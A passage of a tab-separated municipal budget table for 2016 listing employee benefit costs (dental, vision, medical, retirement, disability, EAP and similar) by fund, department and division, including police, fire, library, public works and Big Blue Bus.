19352	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2016	3333	0	0	0	0	0	0	0	0	0	0	0	3333
19353	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2016	1929	0	0	0	0	0	0	0	0	0	0	0	1929
19354	BA	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT		EAP	812.0	Salaries and Wages	2016	1163	0	0	0	0	0	0	0	0	0	0	0	1163
19355	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	511743.0	MEDICAL - MISC. EMPL		Salaries and Wages	2016	130849	0	0	0	0	0	0	0	0	0	0	0	130849
19356	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511774.0	RETIREMENT - AS NEEDED	806.0	Salaries and Wages	2016	9638	0	0	0	0	0	0	0	0	0	0	0	9638
19357	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	511774.0	RETIREMENT - AS NEEDED	806.0	Salaries and Wages	2016	1107	0	0	0	0	0	0	0	0	0	0	0	1107
19358	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	511748.0	DENTAL	806.0	Salaries and Wages	2016	16355	0	0	0	0	0	0	0	0	0	0	0	16355
19359	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	511748.0	DENTAL	806.0	Salaries and Wages	2016	19091	0	0	0	0	0	0	0	0	0	0	0	19091
19360	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	511749.0	VISION	804.0	Salaries and Wages	2016	1181	0	0	0	0	0	0	0	0	0	0	0	1181
19361	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	511774.0	RETIREMENT - AS NEEDED	804.0	Salaries and Wages	2016	999	0	0	0	0	0	0	0	0	0	0	0	999
19362	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	511749.0	VISION	816.0	Salaries and Wages	2016	1175	0	0	0	0	0	0	0	0	0	0	0	1175
19363	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	511748.0	DENTAL	816.0	Salaries and Wages	2016	40060	0	0	0	0	0	0	0	0	0	0	0	40060
19364	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511748.0	DENTAL	810.0	Salaries and Wages	2016	8884	0	0	0	0	0	0	0	0	0	0	0	8884
19365	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511748.0	DENTAL	810.0	Salaries and Wages	2016	10366	0	0	0	0	0	0	0	0	0	0	0	10366
19366	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2016	231955	0	0	0	0	0	0	0	0	0	0	0	231955
19367	BA	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	511743.0	MEDICAL - MISC. EMPL	812.0	Salaries and Wages	2016	202838	0	0	0	0	0	0	0	0	0	0	0	202838
19368	BA	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	511773.0	RETIREMENT - MISC. EMPL	812.0	Salaries and Wages	2016	184061	0	0	0	0	0	0	0	0	0	0	0	184061
19369	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	511743.0	MEDICAL - MISC. EMPL	840.0	Salaries and Wages	2016	866700	0	0	0	0	0	0	0	0	0	0	0	866700
19370	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2016	144928	0	0	0	0	0	0	0	0	0	0	0	144928
19371	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	511773.0	RETIREMENT - MISC. EMPL	840.0	Salaries and Wages	2016	334419	0	0	0	0	0	0	0	0	0	0	0	334419
19372	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2016	104234	0	0	0	0	0	0	0	0	0	0	0	104234
19373	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	511748.0	DENTAL	806.0	Salaries and Wages	2016	136003	0	0	0	0	0	0	0	0	0	0	0	136003
19374	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	511747.0	CASH-IN-LIEU	806.0	Salaries and Wages	2016	1800	0	0	0	0	0	0	0	0	0	0	0	1800
19375	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	511748.0	DENTAL	806.0	Salaries and Wages	2016	127878	0	0	0	0	0	0	0	0	0	0	0	127878
19376	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	511749.0	VISION	804.0	Salaries and Wages	2016	1464	0	0	0	0	0	0	0	0	0	0	0	1464
19377	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	511749.0	VISION	804.0	Salaries and Wages	2016	1185	0	0	0	0	0	0	0	0	0	0	0	1185
19378	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION		UNEMPLOYMENT	804.0	Salaries and Wages	2016	7898	0	0	0	0	0	0	0	0	0	0	0	7898
19379	BA	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)		EAP	808.0	Salaries and Wages	2016	532	0	0	0	0	0	0	0	0	0	0	0	532
19380	BA	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)		DISABILITY INSURANCE	808.0	Salaries and Wages	2016	5739	0	0	0	0	0	0	0	0	0	0	0	5739
19381	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS		UNEMPLOYMENT	810.0	Salaries and Wages	2016	4873	0	0	0	0	0	0	0	0	0	0	0	4873
19382	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2016	3893	0	0	0	0	0	0	0	0	0	0	0	3893
19383	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS		DISABILITY INSURANCE	810.0	Salaries and Wages	2016	7352	0	0	0	0	0	0	0	0	0	0	0	7352
19384	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		EAP	810.0	Salaries and Wages	2016	951	0	0	0	0	0	0	0	0	0	0	0	951
19385	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		DISABILITY INSURANCE	810.0	Salaries and Wages	2016	3972	0	0	0	0	0	0	0	0	0	0	0	3972
19386	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		UNEMPLOYMENT	810.0	Salaries and Wages	2016	2946	0	0	0	0	0	0	0	0	0	0	0	2946
19387	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		UNEMPLOYMENT	810.0	Salaries and Wages	2016	3158	0	0	0	0	0	0	0	0	0	0	0	3158
19388	BA	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2016	110503	0	0	0	0	0	0	0	0	0	0	0	110503
19389	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2016	47719	0	0	0	0	0	0	0	0	0	0	0	47719
19390	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2016	141632	0	0	0	0	0	0	0	0	0	0	0	141632
19391	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2016	14090	0	0	0	0	0	0	0	0	0	0	0	14090
19392	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2016	185257	0	0	0	0	0	0	0	0	0	0	0	185257
19393	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2016	99887	0	0	0	0	0	0	0	0	0	0	0	99887
19394	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2016	124545	0	0	0	0	0	0	0	0	0	0	0	124545
19395	BA	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	511746.0	MED TRUST - MISC. EMPL	812.0	Salaries and Wages	2016	19400	0	0	0	0	0	0	0	0	0	0	0	19400
19396	BA	IS	1	General Fund	410	LIBRARY	615	REFERENCE SERVICES	511746.0	MED TRUST - MISC. EMPL	812.0	Salaries and Wages	2016	38940	0	0	0	0	0	0	0	0	0	0	0	38940
19397	BA	IS	1	General Fund	410	LIBRARY	616	PUBLIC AND BRANCH SERVICES	511743.0	MEDICAL - MISC. EMPL	812.0	Salaries and Wages	2016	430103	0	0	0	0	0	0	0	0	0	0	0	430103
19398	BA	IS	1	General Fund	410	LIBRARY	616	PUBLIC AND BRANCH SERVICES	511746.0	MED TRUST - MISC. EMPL	812.0	Salaries and Wages	2016	52959	0	0	0	0	0	0	0	0	0	0	0	52959
19399	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	511743.0	MEDICAL - MISC. EMPL	840.0	Salaries and Wages	2016	416243	0	0	0	0	0	0	0	0	0	0	0	416243
19400	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2016	12320	0	0	0	0	0	0	0	0	0	0	0	12320
19401	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	511774.0	RETIREMENT - AS NEEDED	806.0	Salaries and Wages	2016	25780	0	0	0	0	0	0	0	0	0	0	0	25780
19402	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	511774.0	RETIREMENT - AS NEEDED	806.0	Salaries and Wages	2016	2213	0	0	0	0	0	0	0	0	0	0	0	2213
19403	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES		DCAP	812.0	Salaries and Wages	2016	790	0	0	0	0	0	0	0	0	0	0	0	790
19404	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING		DCAP	816.0	Salaries and Wages	2016	572	0	0	0	0	0	0	0	0	0	0	0	572
19405	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING		DISABILITY INSURANCE	816.0	Salaries and Wages	2016	6190	0	0	0	0	0	0	0	0	0	0	0	6190
19406	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.		DISABILITY INSURANCE	816.0	Salaries and Wages	2016	16978	0	0	0	0	0	0	0	0	0	0	0	16978
19407	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY		DISABILITY INSURANCE	816.0	Salaries and Wages	2016	25884	0	0	0	0	0	0	0	0	0	0	0	25884
19408	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV		EAP	806.0	Salaries and Wages	2016	2964	0	0	0	0	0	0	0	0	0	0	0	2964
19409	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV		DISABILITY INSURANCE	806.0	Salaries and Wages	2016	23651	0	0	0	0	0	0	0	0	0	0	0	23651
19410	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY		DCAP	804.0	Salaries and Wages	2016	3024	0	0	0	0	0	0	0	0	0	0	0	3024
19411	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2016	3858	0	0	0	0	0	0	0	0	0	0	0	3858
19412	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		DCAP	810.0	Salaries and Wages	2016	502	0	0	0	0	0	0	0	0	0	0	0	502
19413	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		EAP	810.0	Salaries and Wages	2016	2314	0	0	0	0	0	0	0	0	0	0	0	2314
19414	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		DISABILITY INSURANCE	810.0	Salaries and Wages	2016	8610	0	0	0	0	0	0	0	0	0	0	0	8610
19415	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES		LIFE INSURANCE & AD & D	812.0	Salaries and Wages	2016	3834	0	0	0	0	0	0	0	0	0	0	0	3834
19416	BA	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT		LIFE INSURANCE & AD & D	812.0	Salaries and Wages	2016	2874	0	0	0	0	0	0	0	0	0	0	0	2874
19417	BA	IS	1	General Fund	410	LIBRARY	615	REFERENCE SERVICES		UNEMPLOYMENT	812.0	Salaries and Wages	2016	11361	0	0	0	0	0	0	0	0	0	0	0	11361
19418	BA	IS	1	General Fund	410	LIBRARY	615	REFERENCE SERVICES		DCAP	812.0	Salaries and Wages	2016	1584	0	0	0	0	0	0	0	0	0	0	0	1584
19419	BA	IS	1	General Fund	410	LIBRARY	616	PUBLIC AND BRANCH SERVICES		EAP	812.0	Salaries and Wages	2016	3177	0	0	0	0	0	0	0	0	0	0	0	3177
19420	BA	IS	1	General Fund	410	LIBRARY	616	PUBLIC AND BRANCH SERVICES		LIFE INSURANCE & AD & D	812.0	Salaries and Wages	2016	10301	0	0	0	0	0	0	0	0	0	0	0	10301
19421	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT		DISABILITY INSURANCE	816.0	Salaries and Wages	2016	3037	0	0	0	0	0	0	0	0	0	0	0	3037
19422	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING		LIFE INSURANCE & AD & D	816.0	Salaries and Wages	2016	3098	0	0	0	0	0	0	0	0	0	0	0	3098
19423	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT		LIFE INSURANCE & AD & D	816.0	Salaries and Wages	2016	3149	0	0	0	0	0	0	0	0	0	0	0	3149
19424	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION		UNEMPLOYMENT	806.0	Salaries and Wages	2016	74165	0	0	0	0	0	0	0	0	0	0	0	74165
19425	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES		LIFE INSURANCE & AD & D	806.0	Salaries and Wages	2016	11876	0	0	0	0	0	0	0	0	0	0	0	11876
19426	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES		DISABILITY INSURANCE	806.0	Salaries and Wages	2016	78628	0	0	0	0	0	0	0	0	0	0	0	78628
19427	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION		EAP	806.0	Salaries and Wages	2016	1582	0	0	0	0	0	0	0	0	0	0	0	1582
19428	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2016	13473	0	0	0	0	0	0	0	0	0	0	0	13473
19429	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT		LIFE INSURANCE & AD & D		Salaries and Wages	2016	878	0	0	0	0	0	0	0	0	0	0	0	878
19430	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER		LIFE INSURANCE & AD & D	840.0	Salaries and Wages	2016	4746	0	0	0	0	0	0	0	0	0	0	0	4746
19431	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	511749.0	VISION	812.0	Salaries and Wages	2016	1632	0	0	0	0	0	0	0	0	0	0	0	1632
19432	BA	IS	1	General Fund	410	LIBRARY	616	PUBLIC AND BRANCH SERVICES	511748.0	DENTAL	812.0	Salaries and Wages	2016	33911	0	0	0	0	0	0	0	0	0	0	0	33911
19433	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	511748.0	DENTAL	840.0	Salaries and Wages	2016	52258	0	0	0	0	0	0	0	0	0	0	0	52258
19434	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511748.0	DENTAL	808.0	Salaries and Wages	2016	91299	0	0	0	0	0	0	0	0	0	0	0	91299
19435	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511774.0	RETIREMENT - AS NEEDED	808.0	Salaries and Wages	2016	55854	0	0	0	0	0	0	0	0	0	0	0	55854
19436	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	511774.0	RETIREMENT - AS NEEDED	840.0	Salaries and Wages	2016	3920	0	0	0	0	0	0	0	0	0	0	0	3920
19437	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	511749.0	VISION	808.0	Salaries and Wages	2016	1035	0	0	0	0	0	0	0	0	0	0	0	1035
19438	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	511773.0	RETIREMENT - MISC. EMPL	806.0	Salaries and Wages	2016	649267	0	0	0	0	0	0	0	0	0	0	0	649267
19439	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	511746.0	MED TRUST - MISC. EMPL	806.0	Salaries and Wages	2016	12390	0	0	0	0	0	0	0	0	0	0	0	12390
19440	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	511773.0	RETIREMENT - MISC. EMPL	806.0	Salaries and Wages	2016	125014	0	0	0	0	0	0	0	0	0	0	0	125014
19441	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS		EAP	804.0	Salaries and Wages	2016	525	0	0	0	0	0	0	0	0	0	0	0	525
19442	BA	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	511748.0	DENTAL	804.0	Salaries and Wages	2016	19091	0	0	0	0	0	0	0	0	0	0	0	19091
19443	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	511748.0	DENTAL	804.0	Salaries and Wages	2016	51889	0	0	0	0	0	0	0	0	0	0	0	51889
19444	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	511749.0	VISION	816.0	Salaries and Wages	2016	448	0	0	0	0	0	0	0	0	0	0	0	448
19445	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	511748.0	DENTAL	816.0	Salaries and Wages	2016	8998	0	0	0	0	0	0	0	0	0	0	0	8998
19446	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	511749.0	VISION	816.0	Salaries and Wages	2016	5213	0	0	0	0	0	0	0	0	0	0	0	5213
19447	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	511748.0	DENTAL	816.0	Salaries and Wages	2016	11666	0	0	0	0	0	0	0	0	0	0	0	11666
19448	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511749.0	VISION	810.0	Salaries and Wages	2016	1035	0	0	0	0	0	0	0	0	0	0	0	1035
19449	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511748.0	DENTAL	810.0	Salaries and Wages	2016	9857	0	0	0	0	0	0	0	0	0	0	0	9857
19450	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511748.0	DENTAL	810.0	Salaries and Wages	2016	4590	0	0	0	0	0	0	0	0	0	0	0	4590
19451	BA	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	511748.0	DENTAL	812.0	Salaries and Wages	2016	14174	0	0	0	0	0	0	0	0	0	0	0	14174
19452	BA	IS	1	General Fund	410	LIBRARY	615	REFERENCE SERVICES	511774.0	RETIREMENT - AS NEEDED	812.0	Salaries and Wages	2016	25815	0	0	0	0	0	0	0	0	0	0	0	25815
19453	BA	IS	1	General Fund	410	LIBRARY	616	PUBLIC AND BRANCH SERVICES		DISABILITY INSURANCE	812.0	Salaries and Wages	2016	16694	0	0	0	0	0	0	0	0	0	0	0	16694
19454	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING		EAP	816.0	Salaries and Wages	2016	838	0	0	0	0	0	0	0	0	0	0	0	838
19455	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION		EAP	816.0	Salaries and Wages	2016	625	0	0	0	0	0	0	0	0	0	0	0	625
19456	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION		DCAP	816.0	Salaries and Wages	2016	428	0	0	0	0	0	0	0	0	0	0	0	428
19457	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.		LIFE INSURANCE & AD & D	816.0	Salaries and Wages	2016	8558	0	0	0	0	0	0	0	0	0	0	0	8558
19458	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS		UNEMPLOYMENT	804.0	Salaries and Wages	2016	2546	0	0	0	0	0	0	0	0	0	0	0	2546
19459	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV		LIFE INSURANCE & AD & D	806.0	Salaries and Wages	2016	3485	0	0	0	0	0	0	0	0	0	0	0	3485
19460	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION		LIFE INSURANCE & AD & D	806.0	Salaries and Wages	2016	6842	0	0	0	0	0	0	0	0	0	0	0	6842
19461	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION		DISABILITY INSURANCE	806.0	Salaries and Wages	2016	114113	0	0	0	0	0	0	0	0	0	0	0	114113
19462	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV		DCAP	806.0	Salaries and Wages	2016	6172	0	0	0	0	0	0	0	0	0	0	0	6172
19463	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV		DISABILITY INSURANCE	806.0	Salaries and Wages	2016	59849	0	0	0	0	0	0	0	0	0	0	0	59849
19464	BA	IS	1	General Fund	310	FIRE	315	TRAINING		LIFE INSURANCE & AD & D	806.0	Salaries and Wages	2016	501	0	0	0	0	0	0	0	0	0	0	0	501
19465	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER		DCAP	840.0	Salaries and Wages	2016	3300	0	0	0	0	0	0	0	0	0	0	0	3300
19466	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING		DCAP	808.0	Salaries and Wages	2016	5898	0	0	0	0	0	0	0	0	0	0	0	5898
19467	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT		DCAP		Salaries and Wages	2016	504	0	0	0	0	0	0	0	0	0	0	0	504
19468	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER		UNEMPLOYMENT	840.0	Salaries and Wages	2016	7635	0	0	0	0	0	0	0	0	0	0	0	7635
19469	BA	IS	1	General Fund	310	FIRE	315	TRAINING	511747.0	CASH-IN-LIEU	806.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
19470	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	511748.0	DENTAL	804.0	Salaries and Wages	2016	7213	0	0	0	0	0	0	0	0	0	0	0	7213
19471	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	511774.0	RETIREMENT - AS NEEDED	810.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
19472	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511774.0	RETIREMENT - AS NEEDED	810.0	Salaries and Wages	2016	1592	0	0	0	0	0	0	0	0	0	0	0	1592
19473	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511743.0	MEDICAL - MISC. EMPL	806.0	Salaries and Wages	2016	147666	0	0	0	0	0	0	0	0	0	0	0	147666
19474	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	511746.0	MED TRUST - MISC. EMPL	806.0	Salaries and Wages	2016	80929	0	0	0	0	0	0	0	0	0	0	0	80929
19475	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	511773.0	RETIREMENT - MISC. EMPL	806.0	Salaries and Wages	2016	1144587	0	0	0	0	0	0	0	0	0	0	0	1144587
19476	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	511746.0	MED TRUST - MISC. EMPL	806.0	Salaries and Wages	2016	70309	0	0	0	0	0	0	0	0	0	0	0	70309
19477	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL		DCAP	804.0	Salaries and Wages	2016	72	0	0	0	0	0	0	0	0	0	0	0	72
19478	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2016	417	0	0	0	0	0	0	0	0	0	0	0	417
19479	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION		EAP	804.0	Salaries and Wages	2016	1044	0	0	0	0	0	0	0	0	0	0	0	1044
19480	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION		DCAP	804.0	Salaries and Wages	2016	714	0	0	0	0	0	0	0	0	0	0	0	714
19481	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE		DCAP	806.0	Salaries and Wages	2016	7528	0	0	0	0	0	0	0	0	0	0	0	7528
19482	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION		DISABILITY INSURANCE	806.0	Salaries and Wages	2016	4580	0	0	0	0	0	0	0	0	0	0	0	4580
19483	BA	IS	1	General Fund	310	FIRE	315	TRAINING		UNEMPLOYMENT	806.0	Salaries and Wages	2016	2139	0	0	0	0	0	0	0	0	0	0	0	2139
19484	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY		UNEMPLOYMENT	808.0	Salaries and Wages	2016	2510	0	0	0	0	0	0	0	0	0	0	0	2510
19485	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2016	4376	0	0	0	0	0	0	0	0	0	0	0	4376
19486	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2016	5238	0	0	0	0	0	0	0	0	0	0	0	5238
19487	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE		DISABILITY INSURANCE	808.0	Salaries and Wages	2016	10805	0	0	0	0	0	0	0	0	0	0	0	10805
19488	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE		DISABILITY INSURANCE	808.0	Salaries and Wages	2016	26940	0	0	0	0	0	0	0	0	0	0	0	26940
19489	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING		UNEMPLOYMENT	816.0	Salaries and Wages	2016	4030	0	0	0	0	0	0	0	0	0	0	0	4030
19490	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION		UNEMPLOYMENT	816.0	Salaries and Wages	2016	3540	0	0	0	0	0	0	0	0	0	0	0	3540
19491	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION		LIFE INSURANCE & AD & D	816.0	Salaries and Wages	2016	2481	0	0	0	0	0	0	0	0	0	0	0	2481
19492	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.		UNEMPLOYMENT	816.0	Salaries and Wages	2016	11332	0	0	0	0	0	0	0	0	0	0	0	11332
19493	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT		DCAP	816.0	Salaries and Wages	2016	790	0	0	0	0	0	0	0	0	0	0	0	790
19494	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS		EAP	804.0	Salaries and Wages	2016	738	0	0	0	0	0	0	0	0	0	0	0	738
